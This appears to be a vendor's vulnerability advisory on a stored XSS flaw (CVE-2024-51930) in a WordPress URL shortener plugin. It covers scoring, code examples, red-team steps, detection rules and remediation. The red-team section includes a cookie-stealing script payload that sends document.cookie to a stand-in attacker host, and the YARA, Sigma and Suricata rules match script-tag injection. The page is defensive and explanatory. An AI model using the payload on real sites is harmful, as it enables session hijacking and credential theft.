CVE-2024-51930
Executive Summary
CVE-2024-51930 is a Stored Cross-Site Scripting (XSS) vulnerability in the IronFeet Custom URL Shortener plugin for WordPress, affecting versions up to and including 0.3.6. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript or HTML into the application. This stored XSS can be triggered when an administrator or user views the injected content, leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the WordPress plugin repository. Users should verify the integrity of the plugin package and monitor for updates. Since no patch is available, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to mitigate the risk.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to inject.
- User Interaction (UI): Required (R) – Victim must view the malicious content.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification possible.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score reduce immediate risk. However, stored XSS in a WordPress plugin can be chained with other vulnerabilities for broader impact.
Deep Dive & Mechanics
The vulnerability exists in the Custom URL Shortener plugin, which allows users to create short URLs. The plugin fails to sanitize or escape user input when generating the short URL display page. An attacker can inject malicious JavaScript into fields such as the custom slug or description. When the injected content is rendered in the browser of an administrator or visitor, the script executes in the context of the WordPress site.
The root cause is improper neutralization of input during web page generation (CWE-79). The plugin likely uses echo or print without applying WordPress escaping functions like esc_html() or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and later executed.
Vulnerable vs. Patched Code
Vulnerable Code (Example):
// In custom-url-shorter.php
function display_short_url($slug) {
echo "<div class='short-url'>" . $slug . "</div>";
}
The $slug variable is directly output without sanitization.
Patched Code (Hypothetical):
function display_short_url($slug) {
echo "<div class='short-url'>" . esc_html($slug) . "</div>";
}
Using esc_html() ensures that any HTML or JavaScript is encoded, preventing XSS.
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with Custom URL Shortener plugin version 0.3.6.
- Injection: As an unauthenticated user, create a short URL with a malicious slug:
<script>alert('XSS')</script> - Trigger: An administrator visits the short URL management page, executing the script.
- Payload: Use a payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team
- Detection: Monitor for unusual URL parameters containing
<script>tags. - Mitigation: Implement a WAF rule to block requests with JavaScript in slug fields.
- Response: If compromised, rotate all admin cookies and review logs for unauthorized access.
Indicators of Compromise (IOCs)
- Network: HTTP requests to the WordPress admin area with
custom-url-shorterparameters containing<script>tags. - File: Modified plugin files in
/wp-content/plugins/custom-url-shorter/with injected code. - Log: WordPress debug logs showing unexpected output in short URL fields.
- Behavior: Unauthorized admin actions or cookie theft alerts.
Detection Engineering
YARA Rule
rule CVE_2024_51930_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Custom URL Shortener plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51930"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$plugin_path = /wp-content\/plugins\/custom-url-shorter/
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in Custom URL Shortener Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Custom URL Shortener plugin
author: Valters IT
logsource:
category: web
product: wordpress
detection:
selection:
http.url|contains: '/wp-admin/admin.php?page=custom-url-shorter'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin pages (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-51930 Stored XSS in Custom URL Shortener"; flow:to_server,established; content:"/wp-admin/admin.php?page=custom-url-shorter"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Custom URL Shortener plugin until a patch is available.
- Short-term: Implement a WAF rule to block
<script>tags in plugin parameters. - Long-term: Apply input validation and output escaping using WordPress functions like
esc_html()andwp_kses_post(). - Monitoring: Enable WordPress debug logging and review for unexpected output.
- User Education: Train administrators to avoid clicking on suspicious short URLs.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.